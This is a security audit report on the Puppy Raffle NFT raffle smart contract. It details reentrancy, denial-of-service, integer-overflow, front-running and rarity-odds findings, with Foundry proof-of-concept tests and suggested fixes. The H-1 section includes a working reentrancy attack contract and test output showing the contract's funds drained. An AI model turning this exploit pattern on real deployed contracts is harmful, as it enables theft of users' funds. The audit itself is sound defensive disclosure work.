# Protocol Audit Report

Version 1.0

*0xJoyBoy03*

April 6, 2024

# Protocol Audit Report

0xJoyBoy03

April 6, 2024

Prepared by: 0xJoyBoy03 Lead Auditors: - *0xJoyBoy03*

## Table of Contents

- Low
  - L-1 Missing `WinnerSelected`/`FeesWithdrawn` event emition in `PuppyRaffle::selectWinner`/`PuppyRaffle::withdrawFees` methods
  - L-2 Participants are mislead by the rarity chances

## Protocol Summary

This report contains all the bugs from the **Puppy Raffle** project. About the Puppy Raffle: Puppy Raffle is a blockchain-based project that functions as a raffle system for winning cute dog NFTs. The key features of the protocol include:

```
1.  Enter Raffle Functionality:

    Users can enter the raffle by calling the enterRaffle function.
    The function takes an array of participant addresses, allowing
       individuals to enter multiple times or enter on behalf of
       friends.
    Duplicate addresses are not permitted.

2.  Refund Option:
    Participants have the option to get a refund for their ticket and
       the associated value by calling the refund function.

3.  Random Puppy Minting:
    Every X seconds, the raffle has the ability to draw a winner.
    The winner is then minted a random puppy NFT.

4.  Fee Structure:
    The owner of the protocol can designate a feeAddress to receive a
       portion of the entered value as a fee.
    The remaining funds after deducting the fee are sent to the winner
       of the puppy.

    In essence, Puppy Raffle provides a decentralized and gamified way
       for users to participate in a raffle, with the chance to win
       unique dog NFTs, while also incorporating a fee structure for
       the protocol owner.
```

## Disclaimer

The 0xJoyBoy03 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5 ## Scope
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

### Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

*Spended 2 days Auditing this project* ## Issues found | Category | No. of Issues | | — | — | | High | 4 | | Medium | 1 | | Low | 2 |

# Findings

## High

### [H-1] There is a Reentrancy Attack in `refund` function

#### Summary

The `PuppyRaffle::refund` function is susceptible to a reentrancy attack, potentially leading to the draining of the entire contract balance.

#### Vulnerability Details

The `refund` function in `PuppyRaffle` (Line: 96) contains a critical vulnerability due to a reentrancy attack. The external call within the function allows an attacker to repeatedly reenter the function and drain the entire balance of the contract. This occurs because the function doesn't implement proper checks to prevent reentrancy, making it susceptible to exploitation.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@->         payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

#### Configuration

- Check: `reentrancy-attack`
- Severity: `High`
- Confidence: `High`

**Proof of Concept:** (Proof of Code)

The below test case shows how the attacker can drain all the funds:

1. Attach a test in PuppyRaffle.t.sol named `testReentrancyInRefund()` function.

Test

```
function testReentrancyInRefund() public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        Reentrancy reentrant = new Reentrancy(puppyRaffle);
        address attackUser = makeAddr('attackUser');
        vm.deal(attackUser, 1 ether);
        uint256 startPuppycontract = address(puppyRaffle).balance;
        uint256 startReentrancycontract = address(reentrant).balance;
        vm.prank(attackUser);
        reentrant.attack{value: entranceFee}();
        console.log("balance of puppy contract before: ",
            startPuppycontract);
        console.log("balance of Reentrancy contract before: ",
            startReentrancycontract);

        console.log("balance of puppy contract after: ", address(
            puppyRaffle).balance);
        console.log("balance of Reentracy contract after : ", address(
            reentrant).balance);
    }
```

2. At the end of the test suite we added a Reentrancy contract:
   The Malicious Contract

```
    contract Reentrancy {

        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();

        }

        function attack() public payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
```

```
        }

        function stealMoney() public {
            if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
            }
        }

        receive() external payable {
            stealMoney();
        }
        fallback() external payable {
            stealMoney();
        }
}
```

3. Run the Specific test

```
forge test --mt testReentrancyInRefund -vvv
```

4. You'll get an output that looks like this:

OutPut

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testReentrancyInRefund() (gas: 499478)
Logs:
  balance of puppy contract before:  4000000000000000000
  balance of Reentrancy contract before:  0
  balance of puppy contract after:  0
  balance of Reentracy contract after :  5000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.94ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

#### Impact

The impact of this vulnerability is severe, as it enables an attacker to drain all the funds from the contract. This can lead to a complete loss of assets stored in the contract, negatively affecting the users and the intended functionality of the `PuppyRaffle` contract.

#### Recommendations

To mitigate the identified vulnerability, it is recommended to consider the 'Checks effects interaction' strategy or you can add a modifier called nonReentrant from openZeppelin contracts.

### [H-2] There is a Denial of Services (DOS) in `enterRaffle` function

#### Summary

The vulnerability in the `enterRaffle` function exposes the contract to a Denial of Service (DOS) attack, impacting the efficiency and accessibility of the protocol.

#### Vulnerability Details

1. Gas Expenditure in Loop Execution:
    - The first part of the vulnerability involves a loop that iterates through the provided list of new players, adding them to the `players` array.
    - If a large number of addresses is included in the input, this loop can result in significant gas consumption, leading to increased transaction costs for the users.
2. Exploitable Nested Duplicate Check:
    - The second part of the vulnerability consists of a nested loop used for checking duplicate players within the `players` array.
    - As the loop iterates through the array, it compares each player's address with every other address in the array, leading to a quadratic gas cost.
    - This can be exploited by an attacker to intentionally introduce duplicate addresses, causing the nested loop to consume excessive gas, ultimately impacting the protocol's responsiveness.

```
@>  function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

**Configuration**

- Check: `denial-of-services`
- Severity: `High`
- Confidence: `Medium`

**Proof of Concept:** (Proof of Code)

The below test case shows how the attacker can attack the protocol and make it hard for users to interact with protocol:

1. Attach a test in PuppyRaffle.t.sol named `testdenialOfServiceInEnterRaffle()` function.

Test

```
function testdenialOfServiceInEnterRaffle() public {
        //add 100 addres for input of enterRaffle
        address[] memory players = new address[](100);
        for(uint i; i < 100; ++i){
            players[i] = address(i);
        }
        uint256 startGas = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        uint256 endGas = gasleft();
        uint gasUsed = startGas - endGas;

        console.log("gas Used:", gasUsed);

        //let's add another 100 address
        address[] memory people = new address[](100);
        for(uint i; i < 100; ++i){
            people[i] = address(i + 100);
        }
        uint256 startGas2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(people);
        uint256 endGas2 = gasleft();
        uint gasUsed2 = startGas2 - endGas2;

        console.log("gas Used:", gasUsed2);
    }
```

2. Run the Specific test

```
forge test --mt testdenialOfServiceInEnterRaffle -vvv
```

3. You'll get an output that looks like this:

OutPut

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testdenialOfServiceInEnterRaffle() (gas: 24354220)
Logs:
  gas Used: 6252039
  gas Used: 18068129

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 94.63ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

#### Impact

The impact of this vulnerability is significant:

```
* Increased Transaction Costs: The gas-intensive operations can result
  in higher transaction costs, discouraging regular users from
  interacting with the protocol.
* Reduced Accessibility: The DOS attack makes it challenging for users
  to participate efficiently in the raffle, potentially leading to
  frustration and decreased engagement.
```

#### Recommendations

To mitigate this vulnerability:

```
* Gas Limits: Implement gas limits within the function to restrict the
  maximum gas consumption per transaction.
* Optimize Loop Structures: Explore optimization techniques for loops
  to reduce gas costs.
* Alternative Duplicate Check: Consider alternative methods for
  duplicate checks that do not rely on nested loops, improving the
  overall efficiency of the function.
```

maybe you should consider changing your protocol rules cause users can enter with multiple addresses and duplication is kind of waste of time and ofcourse gas.

### [H-3] Typecasting from uint256 to uint64 in PuppyRaffle.selectWinner() will Leads to overflow

#### Summary

The `selectWinner` function in `PuppyRaffle` is susceptible to an overflow vulnerability when the number of addresses reaches 93. This can lead to unexpected behavior in the calculation of fees, potentially resulting in unintended consequences.

**Vulnerability Details**

As the number of players increases, reaching the 93rd address, an overflow occurs in the typecasting from `uint256` to `uint64`. This overflow can lead to incorrect fee calculations and poses a high-risk scenario.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>          totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to determine rarity
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
```

#### Configuration

- Check: `overflow`
- Severity: `High`
- Confidence: `Medium`

**Proof of Concept:** (Proof of Code)

The below test case shows how this will happen:

1. Attach a test in PuppyRaffle.t.sol named `testTypecastingFee()` function.

Test

```
function testTypecastingFee() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.timestamp + 1);
        puppyRaffle.selectWinner();
        uint256 startingFee = puppyRaffle.totalFees();
        console.log('starting fee: ', startingFee);
        // We add 89 addresses because fee will overflow on 93rd address
        address[] memory players = new address[](89);
        for(uint i; i < 89; ++i){
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingFee = puppyRaffle.totalFees();
        console.log('ending fee: ', endingFee);
        //if this assert is true means overflow happened
        assert(startingFee > endingFee);

        // We can withdraw either because of the require statement
        // in withdraw function
        vm.prank(feeAddress);
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

3. Run the Specific test

```
forge test --mt testTypecastingFee -vvv
```

4. You'll get an output that looks like this:

OutPut

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testTypecastingFee() (gas: 4605344)
Logs:
  starting fee:  800000000000000000
  ending fee:  153255926290448384

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 19.22ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

#### Impact

The impact of this vulnerability is significant, potentially resulting in incorrect fee calculations and financial losses. This will damage the protocol because `feeAddress` can't withdraw fees in `withdrawFees()` function because of require statement that says balance of the contract must be equal to `totalFees` but `totalFees` isn't equal to it due to the overflow which leads to unintended consequences for the PuppyRaffle contract.

#### Recommendations

Don't use typeCasting.

```
+ totalFees = totalFees + fee;
- totalFees = totalFees + uint64(fee);
```

### [H-4] Potential Front-Running Attack in `selectWinner` and `refund` Functions

#### Summary

Malicious actors can watch any `selectWinner` transaction and front-run it with a transaction that calls `refund` to avoid participating in the raffle if he/she is not the winner or even to steal the owner fess utilizing the current calculation of the `totalAmountCollected` variable in the `selectWinner` function.

#### Vulnerability Details

The PuppyRaffle smart contract is vulnerable to potential front-running attacks in both the `selectWinner` and `refund` functions. Malicious actors can monitor transactions involving the `selectWinner` function and front-run them by submitting a transaction calling the `refund` function just before or after the `selectWinner` transaction. This malicious behavior can be leveraged to exploit the raffle in various ways. Specifically, attackers can:

1. **Attempt to Avoid Participation:** If the attacker is not the intended winner, they can call the `refund` function before the legitimate winner is selected. This refunds the attacker's entrance fee, allowing them to avoid participating in the raffle and effectively nullifying their loss.
2. **Steal Owner Fees:** Exploiting the current calculation of the `totalAmountCollected` variable in the `selectWinner` function, attackers can execute a front-running transaction, manipulating the prize pool to favor themselves. This can result in the attacker claiming more funds than intended, potentially stealing the owner's fees (`totalFees`).

#### Impact

- **Medium:** The potential front-running attack might lead to undesirable outcomes, including avoiding participation in the raffle and stealing the owner's fees (`totalFees`). These actions can result in significant financial losses and unfair manipulation of the contract.

#### Tools Used

- Manual review of the smart contract code.

#### Recommendations

To mitigate the potential front-running attacks and enhance the security of the PuppyRaffle contract, consider the following recommendations:

- Implement Transaction ordering dependence (TOD) to prevent front-running attacks. This can be achieved by applying time locks in which participants can only call the `refund` function after a certain period of time has passed since the `selectWinner` function was called. This would prevent attackers from front-running the `selectWinner` function and calling the `refund` function before the legitimate winner is selected.

## Medium

### [M-1] Impossible to win raffle if the winner is a smart contract without a fallback function

#### Summary

If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

#### Vulnerability Details

The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program.

#### Configuration

- Check: `Smart-Contract-or-EOA`
- Severity: `High`
- Confidence: `High`

#### Impact

High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function

#### Recommendations

Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction.

We can easily implement this check into the function because of the Adress library from OppenZeppelin.

I'll add this replace `enterRaffle()` with these lines of code:

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");
    for (uint256 i = 0; i < newPlayers.length; i++) {
        require(Address.isContract(newPlayers[i]) == false, "The players
            need to be EOAs");
        players.push(newPlayers[i]);
    }

    // Check for duplicates
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }

    emit RaffleEnter(newPlayers);
}
```

## Low

### [L-1] Missing `WinnerSelected`/`FeesWithdrawn` event emition in `PuppyRaffle::selectWinner`/`PuppyRaffle::withdrawFees` methods

#### Summary

Events for critical state changes (e.g. owner and other critical parameters like a winner selection or the fees withdrawn) should be emitted for tracking this off-chain

#### Tools Used

Manual review

#### Recommendations

Add a WinnerSelected event that takes as parameter the currentWinner and the minted token id and emit this event in `PuppyRaffle::selectWinner` right after the call to `_safeMing_`

Add a FeesWithdrawn event that takes as parameter the amount withdrawn and emit this event in `PuppyRaffle::withdrawFees` right at the end of the method

### [L-2] Participants are mislead by the rarity chances

#### Summary

The drop chances defined in the state variables section for the COMMON and LEGENDARY are misleading.

#### Vulnerability Details

The 3 rarity scores are defined as follows:

```
    uint256 public constant COMMON_RARITY = 70;
    uint256 public constant RARE_RARITY = 25;
    uint256 public constant LEGENDARY_RARITY = 5;
```

This implies that out of a really big number of NFT's, 70% should be of common rarity, 25% should be of rare rarity and the last 5% should be legendary. The `selectWinners` function doesn't implement these numbers.

```
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

The `rarity` variable in the code above has a possible range of values within [0;99] (inclusive) This means that `rarity <= COMMON_RARITY` condition will apply for the interval [0:70], the `rarity <= COMMON_RARITY + RARE_RARITY` condition will apply for the [71:95] rarity and the rest of the interval [96:99] will be of `LEGENDARY_RARITY`

The [0:70] interval contains 71 numbers `(70 - 0 + 1)`

The [71:95] interval contains 25 numbers `(95 - 71 + 1)`

The [96:99] interval contains 4 numbers `(99 - 96 + 1)`

This means there is a 71% chance someone draws a COMMON NFT, 25% for a RARE NFT and 4% for a LEGENDARY NFT.

#### Impact

Depending on the info presented, the raffle participants might be lied with respect to the chances they have to draw a legendary NFT.

#### Tools Used

Manual review

#### Recommendations

Drop the = sign from both conditions:

```
--      if (rarity <= COMMON_RARITY) {
++      if (rarity < COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
--      } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
++      } else if (rarity < COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```